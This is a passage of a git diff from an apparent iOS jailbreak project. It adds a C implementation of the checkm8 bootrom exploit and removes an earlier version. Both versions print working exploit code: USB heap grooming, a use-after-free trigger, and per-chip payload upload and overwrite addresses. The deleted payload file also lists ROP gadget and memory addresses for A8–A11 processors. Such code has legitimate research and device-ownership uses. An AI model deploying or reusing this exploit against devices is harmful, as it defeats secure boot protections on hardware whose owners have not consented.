1; + transfer_ret_t transfer_ret; + + for(;;) { + if(send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ, usb_abort_timeout, &transfer_ret) && transfer_ret.sz < 3 * EP0_MAX_PACKET_SZ && checkm8_usb_request_leak(handle)) { + break; + } + usb_abort_timeout = (usb_abort_timeout + 1) % (usb_timeout - usb_abort_timeout_min + 1) + usb_abort_timeout_min; + } +} + +static bool checkm8_no_leak(const usb_handle_t *handle) { + transfer_ret_t transfer_ret; + + return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ + 1, 1, &transfer_ret) && transfer_ret.sz == 0; +} + +static bool checkm8_usb_request_stall(const usb_handle_t *handle) { + transfer_ret_t transfer_ret; + + return send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL; +} + +static bool checkm8_stage_spray(const usb_handle_t *handle) { + size_t i; + + if(config_large_leak == 0) { + if(cpid == 0x7001 || cpid == 0x7000 || cpid == 0x7002 || cpid == 0x8003 || cpid == 0x8000) { + while(!checkm8_usb_request_stall(handle) || !checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {} + } else { + checkm8_stall(handle); + for(i = 0; i < config_hole; ++i) { + while(!checkm8_no_leak(handle)) {} + } + while(!checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {} + } + send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 3 * EP0_MAX_PACKET_SZ + 1, NULL); + } else { + for(i = 0; i < config_large_leak; ++i) { + while(!checkm8_usb_request_stall(handle)) {} + } + send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL); + } + return true; +} + +static bool checkm8_stage_patch(const usb_handle_t *handle) { + size_t i, data_sz, packet_sz; + uint8_t *data; + transfer_ret_t transfer_ret; + bool ret = false; + void* blank[DFU_MAX_TRANSFER_SZ]; + memset(&blank, '\0', DFU_MAX_TRANSFER_SZ); + uint64_t* p = (uint64_t*)blank; + p[5] = insecure_memory_base; + switch (cpid) { + case 0x8000: + LOG("setting up stage 2 for s8000"); + data = calloc(1, payloads_yolo_s8000_bin_len); + data_sz = 0; + memcpy(data, payloads_yolo_s8000_bin, payloads_yolo_s8000_bin_len); + data_sz += payloads_yolo_s8000_bin_len; + break; + case 0x8001: + LOG("setting up stage 2 for s8001"); + data = calloc(1, payloads_yolo_s8001_bin_len); + data_sz = 0; + memcpy(data, payloads_yolo_s8001_bin, payloads_yolo_s8001_bin_len); + data_sz += payloads_yolo_s8001_bin_len; + break; + case 0x8003: + LOG("setting up stage 2 for s8003"); + data = calloc(1, payloads_yolo_s8003_bin_len); + data_sz = 0; + memcpy(data, payloads_yolo_s8003_bin, payloads_yolo_s8003_bin_len); + data_sz += payloads_yolo_s8003_bin_len; + break; + case 0x7000: + LOG("setting up stage 2 for t7000"); + data = calloc(1, payloads_yolo_t7000_bin_len); + data_sz = 0; + memcpy(data, payloads_yolo_t7000_bin, payloads_yolo_t7000_bin_len); + data_sz += payloads_yolo_t7000_bin_len; + break; + case 0x7001: + LOG("setting up stage 2 for t7001"); + data = calloc(1, payloads_yolo_t7001_bin_len); + data_sz = 0; + memcpy(data, payloads_yolo_t7001_bin, payloads_yolo_t7001_bin_len); + data_sz += payloads_yolo_t7001_bin_len; + break; + case 0x8010: + LOG("setting up stage 2 for t8010"); + data = calloc(1, payloads_yolo_t8010_bin_len); + data_sz = 0; + memcpy(data, payloads_yolo_t8010_bin, payloads_yolo_t8010_bin_len); + data_sz += payloads_yolo_t8010_bin_len; + break; + case 0x8011: + LOG("setting up stage 2 for t8011"); + data = calloc(1, payloads_yolo_t8011_bin_len); + data_sz = 0; + memcpy(data, payloads_yolo_t8011_bin, payloads_yolo_t8011_bin_len); + data_sz += payloads_yolo_t8011_bin_len; + break; + case 0x8015: + LOG("setting up stage 2 for t8015"); + data = calloc(1, payloads_yolo_t8015_bin_len); + data_sz = 0; + memcpy(data, payloads_yolo_t8015_bin, payloads_yolo_t8015_bin_len); + data_sz += payloads_yolo_t8015_bin_len; + break; + default: + LOG("unsupported cpid 0x%" PRIX32 "", cpid); + return false; + } + if(checkm8_usb_request_stall(handle) && checkm8_usb_request_leak(handle)) { + LOG("successfully leaked data"); + } else { + LOG("failed to leak data"); + return false; + } + for(i = 0; i < 2; i++) { + LOG("i = %zu", i); + send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, NULL); + } + if(p != NULL && send_usb_control_request(handle, 0x00, 0, 0, 0x00, p, 0x30, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) { + ret = true; + for(i = 0; ret && i < data_sz; i += packet_sz) { + packet_sz = MIN(data_sz - i, DFU_MAX_TRANSFER_SZ); + ret = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &data[i], packet_sz, NULL); + } + send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0, NULL); + } + free(data); + return ret; +} + +#include +#include + +static void compress_pongo(void *out, size_t *out_len) { + size_t len = payloads_Pongo_bin_len; + size_t out_len_ = *out_len; + *out_len = LZ4_compress_HC(payloads_Pongo_bin, out, len, out_len_, LZ4HC_CLEVEL_MAX); +} + +static void checkm8_boot_pongo(usb_handle_t *handle) { + transfer_ret_t transfer_ret; + LOG("Booting pongoOS"); + LOG("Compressing pongoOS"); + LOG("Appending shellcode to the top of pongoOS (512 bytes)"); + void *shellcode = malloc(512); + memcpy(shellcode, payloads_lz4dec_bin, payloads_lz4dec_bin_len); + size_t out_len = payloads_Pongo_bin_len; + void *out = malloc(out_len); + compress_pongo(out, &out_len); + LOG("Compressed pongoOS from %u to %zu bytes", payloads_Pongo_bin_len, out_len); + void *tmp = malloc(out_len + 512); + memcpy(tmp, shellcode, 512); + memcpy(tmp + 512, out, out_len); + free(out); + out = tmp; + out_len += 512; + free(shellcode); + LOG("Setting the compressed size into the shellcode"); + uint32_t* size = (uint32_t*)(out + 0x1fc); + LOG("size = 0x%" PRIX32 "", *size); + *size = out_len - 512; + LOG("size = 0x%" PRIX32 "", *size); + LOG("Reconnecting to device"); + init_usb_handle(handle, APPLE_VID, DFU_MODE_PID); + LOG("Waiting for device to be ready"); + wait_usb_handle(handle, NULL, NULL); + { + size_t len = 0; + size_t size; + while(len < out_len) + { + retry: + size = ((out_len - len) > 0x800) ? 0x800 : (out_len - len); + send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, (unsigned char*)&out[len], size, &transfer_ret); + if(transfer_ret.sz != size || transfer_ret.ret != USB_TRANSFER_OK) + { + LOG("retrying at len = %zu", len); + sleep_ms(100); + goto retry; + } + len += size; + LOG("len = %zu", len); + } + } + send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0, NULL); + LOG("pongoOS sent, should be booting"); +} + +static bool gaster_checkm8(usb_handle_t *handle) { + enum { + STAGE_RESET, + STAGE_SETUP, + STAGE_SPRAY, + STAGE_PATCH, + STAGE_PWNED + } stage = STAGE_RESET; + bool ret, pwned; + + init_usb_handle(handle, APPLE_VID, DFU_MODE_PID); + while(stage != STAGE_PWNED && wait_usb_handle(handle, checkm8_check_usb_device, &pwned)) { + if(!pwned) { + if(stage == STAGE_RESET) { + ret = checkm8_stage_reset(handle); + stage = STAGE_SETUP; + } else if(stage == STAGE_SETUP) { + LOG("Setting up the exploit (this is the heap spray)"); + ret = checkm8_stage_setup(handle); + stage = STAGE_SPRAY; + } else if(stage == STAGE_SPRAY) { + ret = checkm8_stage_spray(handle); + stage = STAGE_PATCH; + } else { + LOG("Right before trigger (this is the real bug setup)"); + ret = checkm8_stage_patch(handle); + stage = STAGE_RESET; + } + if(ret) { + LOG("Stage %d succeeded", stage); + } else { + LOG("Stage %d failed", stage); + stage = STAGE_RESET; + } + reset_usb_handle(handle); + } else { + stage = STAGE_PWNED; + } + close_usb_handle(handle); + } + return stage == STAGE_PWNED; +} + +int checkm8() { + int ret = EXIT_FAILURE; + usb_handle_t handle; + usb_timeout = 5; + usb_abort_timeout_min = 0; + LOG("Waiting for DFU mode device"); + gaster_checkm8(&handle); + sleep_ms(3000); + checkm8_boot_pongo(&handle); + return ret; +} diff --git a/src/checkm8/run.h b/src/checkm8/run.h new file mode 100644 index 0000000..085e0aa --- /dev/null +++ b/src/checkm8/run.h @@ -0,0 +1,14 @@ +#ifndef RUN_H +#define RUN_H + +#ifdef __cplusplus +extern "C" { +#endif + +int checkm8(); + +#ifdef __cplusplus +} +#endif + +#endif // RUN_H diff --git a/src/m8/checkm8.c b/src/m8/checkm8.c deleted file mode 100644 index a3de34d..0000000 --- a/src/m8/checkm8.c +++ /dev/null @@ -1,200 +0,0 @@ -#include "checkm8.h" - -#include -#include - -#include "../utils/log.h" - -#ifndef __APPLE__ -# include "usb-libusb.h" -#endif -#include "dfu.h" -#include "payload.h" - -// Start a new DFU transfer or continue an existing one -// Once finished, DFU will be ready for checkm8 -bool checkm8_reset(usb_handle_t *handle) { - transfer_ret_t transferRet; - - // Send zero-length packet to end existing transfer - bool ret = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LENGTH, &transferRet); - if (!ret) { goto fail; } - if (transferRet.ret != USB_TRANSFER_OK || transferRet.sz != DFU_FILE_SUFFIX_LENGTH) { return false; } - - // Requests image validation like we are about to boot it - ret = dfu_device_set_await_reset(handle); - if (!ret) { goto fail; } - - // Start a new DFU transfer - ret = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SIZE, &transferRet); - if (!ret) { goto fail; } - if (transferRet.ret != USB_TRANSFER_OK || transferRet.sz != EP0_MAX_PACKET_SIZE) { goto fail; } - - // Ready for checkm8 - return true; - -fail: - // DFU abort on failure - send_usb_control_request_no_data(handle, 0x21, DFU_CLRSTATUS, 0, 0, 0, NULL); - LOG("Failed to reset device."); - return false; -} - -bool checkm8_stall(usb_handle_t *handle) { - int usbAbortTimeout = 10; - transfer_ret_t transferRet; - while (send_usb_control_request_async_no_data(handle, 0x80, DFU_ABORT, 0x304, 0xA, 0xC0, usbAbortTimeout, &transferRet)) { - if (transferRet.sz < 0xC0 - && send_usb_control_request_async_no_data(handle, 0x80, DFU_ABORT, 0x304, 0xA, 0x40, 1, &transferRet) - && transferRet.sz == 0) { - LOG("Stalled device."); - return true; - } - usbAbortTimeout = (usbAbortTimeout + 1) % 10; - } - LOG("Failed to stall device!"); - return false; -} - -bool checkm8_usb_request_stall(usb_handle_t *handle) { - return send_usb_control_request_no_data(handle, 0x2, DFU_GETSTATUS, 0, 0x80, 0, NULL); -} - -bool checkm8_send_leaking_zlp(usb_handle_t *handle) { - return send_usb_control_request_no_data(handle, 0x80, DFU_ABORT, 0x304, 0x40A, 0x40, NULL); -} - -bool checkm8_send_normal_zlp(usb_handle_t *handle) { - return send_usb_control_request_no_data(handle, 0x80, DFU_ABORT, 0x304, 0x40A, 0xC1, NULL); -} - -bool checkm8_heap_feng_shui(usb_handle_t *handle, struct DeviceConfiguration *config) { - if (config->largeLeak == 0) { - if (config->cpid >= 0x7000 && config->cpid <= 0x8003 && config->cpid != 0x8001) { - while (!checkm8_usb_request_stall(handle) || !checkm8_send_leaking_zlp(handle) || !checkm8_send_normal_zlp(handle)) { } - } else { - // Stall endpoint (and leak a packet) - if (!checkm8_stall(handle)) { return false; } - - // Send enough packets to fill the hole - LOG( "Sending %d normal ZLPs.", config->hole); - for (int i = 0; i < config->hole; i++) { - if (!checkm8_send_normal_zlp(handle)) { return false; } - } - - // Add another leaking packet the end of the hole - if (!checkm8_send_leaking_zlp(handle)) { return false; } - - // Make sure the conditions are correct - // So that the packets are actually leaked - // (latest wLength > queued packet wLength) - if (!checkm8_send_normal_zlp(handle)) { return false; } - } - } else { // Unused as we don't have A7/A6 support yet - - // All packets are leaked - fill out the heap - // such that there is a hole at the end for the IO buffer - for (int i = 0; i < config->largeLeak; i++) { - checkm8_usb_request_stall(handle); - } - - // Abort DFU and leak the packets - send_usb_control_request_no_data(handle, 0x21, DFU_CLRSTATUS, 0, 0, 0, NULL); - } - return true; -} - -bool checkm8_trigger_UaF(usb_handle_t *handle, struct DeviceConfiguration *config) { - unsigned usbAbortTimeout = USB_TIMEOUT; - transfer_ret_t transferRet; - - // Keep asynchonously sending packets until we get a stall (which is actually the data not being sent) - while (send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SIZE, usbAbortTimeout, &transferRet)) { - // Overwrite padding to ensure we overwrite the correct data - if (transferRet.sz < config->overwritePadding - && send_usb_control_request_no_data(handle, 0, 0, 0, 0, config->overwritePadding - transferRet.sz, &transferRet) - && transferRet.ret == USB_TRANSFER_STALL) { - - // DFU abort and trigger the UaF - send_usb_control_request_no_data(handle, 0x21, DFU_CLRSTATUS, 0, 0, 0, NULL); - return true; - } - - // If we don't get a stall, something went wrong - if (!send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SIZE, NULL)) { - break; - } - - usbAbortTimeout = (usbAbortTimeout + 1) % 10; - } - return false; -} - -#ifndef MIN -# define MIN(a, b) ((a) < (b) ? (a) : (b)) -#endif - -bool checkm8_send_overwrite_and_payload(usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig) { - size_t overwriteSize = 0; - size_t payloadSize = 0; - - uint8_t *overwrite = create_pongo_overwrite_for_device(payloadConfig, &overwriteSize); - uint8_t *payload = create_pongo_payload_for_device(deviceConfig, &payloadSize); - - if (!overwrite || overwriteSize == 0) { - LOG("Failed to generate overwrite!"); - goto cleanup; - } - - if (!payload || payloadSize == 0) { - LOG( "Failed to generate payload!"); - goto cleanup; - } - - transfer_ret_t transferRet; - - // Why is this needed? - if (deviceConfig->cpid >= 0x8001 && deviceConfig->cpid <= 0x8015 && deviceConfig->cpid != 0x8003) { - if (!checkm8_usb_request_stall(handle)) { goto cleanup; } - if (!checkm8_send_leaking_zlp(handle)) { goto cleanup; } - } - send_usb_control_request_no_data(handle, 2, DFU_GETSTATUS, 0, 0x80, 0, NULL); - send_usb_control_request_no_data(handle, 2, DFU_GETSTATUS, 0, 0x80, 0, NULL); - - // Send overwrite and make sure the endpoint is still stalled - if (send_usb_control_request(handle, 0, 0, 0, 0, overwrite, overwriteSize, &transferRet) - && transferRet.ret == USB_TRANSFER_STALL) { - // Reset the global state so we can send our payload? - bool ret = true; - size_t packetSize = 0; - - for (int i = 0; ret && i < payloadSize; i += packetSize) { - packetSize = MIN(payloadSize - i, DFU_MAX_TRANSFER_SIZE); - LOG( "Sending payload chunk of size 0x%x.", packetSize); - // Send payload chunk - ret = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &payload[i], packetSize, NULL); - } - - if (ret) { - // T8011 is fragile... - if (deviceConfig->cpid != 0x8011) { - send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LENGTH, NULL); - send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0, NULL); - } - } else { - LOG("Failed to send payload!"); - } - - // This is the trigger for execution - ret = send_usb_control_request_no_data(handle, 0x21, DFU_CLRSTATUS, 0, 0, 0, NULL); - LOG("Checkmate!"); - - if (overwrite != NULL) { free(overwrite); } - return true; - } else { - LOG("Failed to send overwrite!"); - } - -cleanup: - return false; -} diff --git a/src/m8/checkm8.h b/src/m8/checkm8.h deleted file mode 100644 index 3572420..0000000 --- a/src/m8/checkm8.h +++ /dev/null @@ -1,31 +0,0 @@ -#ifndef CHEKMC8_H -#define CHEKMC8_H - -#include - -#include "payload.h" - -#ifndef __APPLE__ -# include "usb-libusb.h" -#endif - -#ifdef __cplusplus -extern "C" { -#endif - -bool checkm8_reset(usb_handle_t *handle); -bool checkm8_stall(usb_handle_t *handle); -bool checkm8_usb_request_stall(usb_handle_t *handle); -bool checkm8_send_leaking_zlp(usb_handle_t *handle); -bool checkm8_send_normal_zlp(usb_handle_t *handle); -bool checkm8_heap_feng_shui(usb_handle_t *handle, struct DeviceConfiguration *config); -bool checkm8_trigger_UaF(usb_handle_t *handle, struct DeviceConfiguration *config); - -bool checkm8_send_overwrite_and_payload(usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig); - -#ifdef __cplusplus -} -#endif - -#endif // CHEKMC8_H - diff --git a/src/m8/dfu.c b/src/m8/dfu.c deleted file mode 100644 index d65fa50..0000000 --- a/src/m8/dfu.c +++ /dev/null @@ -1,64 +0,0 @@ -#include "dfu.h" - -#include -#include -#include -#include - -#ifndef __APPLE__ -# include "usb-libusb.h" -#endif -#include "payload.h" - -bool dfu_check_status(const usb_handle_t *handle, uint8_t status, uint8_t state) { - struct { - uint8_t status, poll_timeout[3], state, str_idx; - } dfu_status; - transfer_ret_t transfer_ret; - - return send_usb_control_request(handle, 0xA1, DFU_GETSTATUS, 0, 0, &dfu_status, sizeof(dfu_status), &transfer_ret) - && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(dfu_status) - && dfu_status.status == status && dfu_status.state == state; -} - -bool dfu_device_set_await_reset(const usb_handle_t *handle) { - transfer_ret_t transfer_ret; - - return send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0, &transfer_ret) - && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == 0 - && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC) - && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST) - && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET); -} - -int dfu_serial_number_get_cpid(char *serial) { - char *cpid = strstr(serial, "CPID:"); - if (cpid == NULL) { return -1; } - return strtol(cpid + 5, NULL, 16); -} - -int dfu_serial_number_get_bdid(char *serial) { - char *bdid = strstr(serial, "BDID:"); - if (bdid == NULL) { return -1; } - return strtol(bdid + 5, NULL, 16); -} - -bool dfu_serial_number_is_in_dfu_mode(char *serial) { - char *DFU = strstr(serial, "SRTG"); - return DFU != NULL; -} - -bool dfu_serial_number_is_pwned(char *serial) { - char *pwnd = strstr(serial, "PWND:"); - return pwnd != NULL; -} - -bool dfu_serial_number_is_in_yolo_dfu(char *serial) { - char *yolo = strstr(serial, "YOLO"); - return yolo != NULL; -} - -bool device_serial_number_is_in_pongo_os(char *serial) { - char *pongo = strstr(serial, "SRTG:[PongoOS"); - return pongo != NULL; -} diff --git a/src/m8/dfu.h b/src/m8/dfu.h deleted file mode 100644 index 74dc7bc..0000000 --- a/src/m8/dfu.h +++ /dev/null @@ -1,42 +0,0 @@ -#ifndef DFU_H -#define DFU_H - -#include - -#ifndef __APPLE__ -# include "usb-libusb.h" -#endif - -#define DFU_DNLOAD 1 -#define DFU_UPLOAD 2 -#define DFU_GETSTATUS 3 -#define DFU_CLRSTATUS 4 -#define DFU_GETSTATE 5 -#define DFU_ABORT 6 - -#define DFU_FILE_SUFFIX_LENGTH 16 -#define EP0_MAX_PACKET_SIZE 0x40 -#define DFU_MAX_TRANSFER_SIZE 0x800 -#define DFU_STATUS_OK 0 -#define DFU_STATE_MANIFEST_SYNC 6 -#define DFU_STATE_MANIFEST 7 -#define DFU_STATE_MANIFEST_WAIT_RESET 8 - -#ifdef __cplusplus -extern "C" { -#endif - -bool dfu_device_set_await_reset(const usb_handle_t *handle); - -int dfu_serial_number_get_cpid(char *serial); -bool dfu_serial_number_is_in_dfu_mode(char *serial); -bool dfu_serial_number_is_pwned(char *serial); -bool dfu_serial_number_is_in_yolo_dfu(char *serial); -bool device_serial_number_is_in_pongo_os(char *serial); - -#ifdef __cplusplus -} -#endif - -#endif // DFU_H - diff --git a/src/m8/payload.c b/src/m8/payload.c deleted file mode 100644 index 428dcc0..0000000 --- a/src/m8/payload.c +++ /dev/null @@ -1,405 +0,0 @@ -#include "payload.h" - -#include -#include - -#include "../utils/log.h" -#include "dfu.h" -#include "../gen/payloads/yolo_t8015.h" -#include "../gen/payloads/yolo_t8011.h" -#include "../gen/payloads/yolo_t8010.h" -#include "../gen/payloads/yolo_s8003.h" -#include "../gen/payloads/yolo_s8001.h" -#include "../gen/payloads/yolo_s8000.h" -#include "../gen/payloads/yolo_t7001.h" -#include "../gen/payloads/yolo_t7000.h" - -bool checkm8_find_device_configuration_for_cpid(int cpid, struct DeviceConfiguration *config) { - bool foundMatchingConfiguration = true; - switch (cpid) { - case 0x8015: - case 0x8012: - case 0x8011: - config->cpid = cpid; - config->largeLeak = 0; - config->overwritePadding = 0x540; - config->hole = 6; - break; - case 0x8010: - config->cpid = cpid; - config->largeLeak = 0; - config->overwritePadding = 0x5C0; - config->hole = 5; - break; - case 0x8001: - config->cpid = cpid; - config->largeLeak = 0; - config->overwritePadding = 0x5C0; - config->hole = 6; - break; - case 0x8003: - case 0x8000: - case 0x7001: - case 0x7000: - config->cpid = cpid; - config->largeLeak = 0; - config->overwritePadding = 0x500; - config->hole = 0; - break; - default: - LOG("CPID 0x%x is not supported!", cpid); - if (cpid > 0x8015) { - LOG("arm64e devices (A12 and newer) will never be supported."); - } - - foundMatchingConfiguration = false; - break; - } - return foundMatchingConfiguration; -} - -bool checkm8_find_payload_configuration_for_cpid(int cpid, struct PayloadConfiguration *config) { - bool foundMatchingConfiguration = true; - switch (cpid) { - case 0x8015: - config->tlbi = 0x1000004AC; - config->nopGadget = 0x10000A9C4; - config->retGadget = 0x100000148; - config->patchAddress = 0x10000624C; - config->ttbr0Address = 0x18000C000; - config->functionGadget = 0x10000A9AC; - config->ttbr0Write = 0x10000045C; - config->memcpyAddress = 0x10000E9D0; - config->aesCryptoCommand = 0x100009E9C; - config->bootTrampolineEnd = 0x18001C000; - config->ttbr0VROMOffset = 0x400; - config->ttbr0SRAMOffset = 0x600; - config->gUSBSerialNumber = 0x180003A78; - config->dfu_handle_request_address = 0x180008638; - config->usb_core_do_transfer = 0x10000B9A8; - config->dfu_handle_bus_reset_address = 0x180008668; - config->insecureMemoryBase = 0x18001C000; - config->handle_interface_request = 0x10000BCCC; - config->usb_create_string_descriptor = 0x10000AE80; - config->usb_serial_number_string_descriptor = 0x1800008FA; - break; - case 0x8012: - config->tlbi = 0x100000494; - config->nopGadget = 0x100008DB8; - config->retGadget = 0x10000012C; - config->patchAddress = 0x100004854; - config->ttbr0Address = 0x18000C000; - config->functionGadget = 0x100008DA0; - config->ttbr0Write = 0x100000444; - config->memcpyAddress = 0x10000EA30; - config->aesCryptoCommand = 0x1000082AC; - config->bootTrampolineEnd = 0x18001C000; - config->ttbr0VROMOffset = 0x400; - config->ttbr0SRAMOffset = 0x600; - config->gUSBSerialNumber = 0x180003AF8; - config->dfu_handle_request_address = 0x180008B08; - config->usb_core_do_transfer = 0x10000BD20; - config->dfu_handle_bus_reset_address = 0x180008B38; - config->insecureMemoryBase = 0x18001C000; - config->handle_interface_request = 0x10000BFFC; - config->usb_create_string_descriptor = 0x10000B1CC; - config->usb_serial_number_string_descriptor = 0x18000082A; - break; - case 0x8011: - config->tlbi = 0x100000444; - config->nopGadget = 0x10000CD0C; - config->retGadget = 0x100000148; - config->patchAddress = 0x100007630; - config->ttbr0Address = 0x1800A0000; - config->functionGadget = 0x10000CCEC; - config->ttbr0Write = 0x1000003F4; - config->memcpyAddress = 0x100010950; - config->aesCryptoCommand = 0x10000C994; - config->bootTrampolineEnd = 0x1800B0000; - config->ttbr0VROMOffset = 0x400; - config->ttbr0SRAMOffset = 0x600; - config->gUSBSerialNumber = 0x180083D28; - config->dfu_handle_request_address = 0x180088A58; - config->usb_core_do_transfer = 0x10000DD64; - config->dfu_handle_bus_reset_address = 0x180088A88; - config->insecureMemoryBase = 0x1800B0000; - config->handle_interface_request = 0x10000E08C; - config->usb_create_string_descriptor = 0x10000D234; - config->usb_serial_number_string_descriptor = 0x18008062A; - break; - case 0x8010: - config->tlbi = 0x100000434; - config->nopGadget = 0x10000CC6C; - config->retGadget = 0x10000015C; - config->patchAddress = 0x1000074AC; - config->ttbr0Address = 0x1800A0000; - config->functionGadget = 0x10000CC4C; - config->ttbr0Write = 0x1000003E4; - config->memcpyAddress = 0x100010730; - config->aesCryptoCommand = 0x10000C8F4; - config->bootTrampolineEnd = 0x1800B0000; - config->ttbr0VROMOffset = 0x400; - config->ttbr0SRAMOffset = 0x600; - config->gUSBSerialNumber = 0x180083CF8; - config->dfu_handle_request_address = 0x180088B48; - config->usb_core_do_transfer = 0x10000DC98; - config->dfu_handle_bus_reset_address = 0x180088B78; - config->insecureMemoryBase = 0x1800B0000; - config->handle_interface_request = 0x10000DFB8; - config->usb_create_string_descriptor = 0x10000D150; - config->usb_serial_number_string_descriptor = 0x1800805DA; - break; - case 0x8001: - config->tlbi = 0x100000404; - config->nopGadget = 0x10000CD60; - config->retGadget = 0x100000118; - config->patchAddress = 0x100007668; - config->ttbr0Address = 0x180050000; - config->functionGadget = 0x10000CD40; - config->ttbr0Write = 0x1000003B4; - config->memcpyAddress = 0x1000106F0; - config->aesCryptoCommand = 0x10000C9D4; - config->bootTrampolineEnd = 0x180044000; - config->ttbr0VROMOffset = 0x400; - config->ttbr0SRAMOffset = 0x600; - config->gUSBSerialNumber = 0x180047578; - config->dfu_handle_request_address = 0x18004C378; - config->usb_core_do_transfer = 0x10000DDA4; - config->dfu_handle_bus_reset_address = 0x18004C3A8; - config->insecureMemoryBase = 0x180000000; - config->handle_interface_request = 0x10000E0B4; - config->usb_create_string_descriptor = 0x10000D280; - config->usb_serial_number_string_descriptor = 0x18004486A; - break; - case 0x8003: - case 0x8000: - config->patchAddress = 0x10000812C; - config->ttbr0Address = 0x1800C8000; - config->memcpyAddress = 0x100011030; - config->aesCryptoCommand = 0x10000DAA0; - config->bootTrampolineEnd = 0x1800E1000; - config->ttbr0VROMOffset = 0x400; - config->ttbr0SRAMOffset = 0x600; - config->gUSBSerialNumber = 0x180087958; - config->dfu_handle_request_address = 0x1800878F8; - config->usb_core_do_transfer = 0x10000EE78; - config->dfu_handle_bus_reset_address = 0x180087928; - config->insecureMemoryBase = 0x180380000; - config->handle_interface_request = 0x10000F1B0; - config->usb_create_string_descriptor = 0x10000E354; - config->usb_serial_number_string_descriptor = 0x1800807DA; - break; - case 0x7001: - config->patchAddress = 0x10000AD04; - config->memcpyAddress = 0x100013F10; - config->aesCryptoCommand = 0x100010A90; - config->bootTrampolineEnd = 0x1800E1000; - config->gUSBSerialNumber = 0x180088E48; - config->dfu_handle_request_address = 0x180088DF8; - config->usb_core_do_transfer = 0x100011BB4; - config->dfu_handle_bus_reset_address = 0x180088E18; - config->insecureMemoryBase = 0x180380000; - config->handle_interface_request = 0x100011EE4; - config->usb_create_string_descriptor = 0x100011074; - config->usb_serial_number_string_descriptor = 0x180080C2A; - break; - case 0x7000: - config->patchAddress = 0x100007E98; - config->memcpyAddress = 0x100010E70; - config->aesCryptoCommand = 0x10000DA90; - config->bootTrampolineEnd = 0x1800E1000; - config->gUSBSerialNumber = 0x1800888C8; - config->dfu_handle_request_address = 0x180088878; - config->usb_core_do_transfer = 0x10000EBB4; - config->dfu_handle_bus_reset_address = 0x180088898; - config->insecureMemoryBase = 0x180380000; - config->handle_interface_request = 0x10000EEE4; - config->usb_create_string_descriptor = 0x10000E074; - config->usb_serial_number_string_descriptor = 0x18008062A; - break; - default: - LOG("CPID 0x%x is not supported!", cpid); - foundMatchingConfiguration = false; - } - return foundMatchingConfiguration; -} - -uint8_t *create_pongo_overwrite_for_device(struct PayloadConfiguration *payloadConfig, size_t *overwriteSize) { - LOG("Preparing overwrite for YoloDFU mode."); - - uint64_t *overwrite = malloc(0x30); - - LOG("overwrite buffer: %p", (void *)overwrite); - LOG("insecureMemoryBase: 0x%016llx", - (unsigned long long)payloadConfig->insecureMemoryBase); - - overwrite[5] = payloadConfig->insecureMemoryBase; - - LOG("overwrite[5]: 0x%016llx", - (unsigned long long)overwrite[5]); - - *overwriteSize = 0x30; - - LOG("overwriteSize: 0x%zx (%zu)", - *overwriteSize, *overwriteSize); - - return (uint8_t *)overwrite; -} - -uint8_t *create_pongo_payload_for_device(struct DeviceConfiguration *deviceConfig, size_t *payloadSize) { - LOG("Preparing YoloDFU payload for CPID 0x%x.", deviceConfig->cpid); - switch (deviceConfig->cpid) { - case 0x8015: - *payloadSize = payloads_yolo_t8015_bin_len; - return (uint8_t *)payloads_yolo_t8015_bin; - case 0x8011: - *payloadSize = payloads_yolo_t8011_bin_len; - return (uint8_t *)payloads_yolo_t8011_bin; - case 0x8010: - *payloadSize = payloads_yolo_t8010_bin_len; - return (uint8_t *)payloads_yolo_t8010_bin; - case 0x8003: - *payloadSize = payloads_yolo_s8003_bin_len; - return (uint8_t *)payloads_yolo_s8003_bin; - case 0x8001: - *payloadSize = payloads_yolo_s8001_bin_len; - return (uint8_t *)payloads_yolo_s8001_bin; - case 0x8000: - *payloadSize = payloads_yolo_s8000_bin_len; - return (uint8_t *)payloads_yolo_s8000_bin; - case 0x7001: - *payloadSize = payloads_yolo_t7001_bin_len; - return (uint8_t *)payloads_yolo_t7001_bin; - case 0x7000: - *payloadSize = payloads_yolo_t7000_bin_len; - return (uint8_t *)payloads_yolo_t7000_bin; - default: - LOG("Failed to prepare payload for device with CPID 0x%x.", deviceConfig->cpid); - return NULL; - } -} - -// TODO: move l8r - -bool wait_for_device_to_enter_yolo_dfu(usb_handle_t *handle) { - char *serialNumber = NULL; - 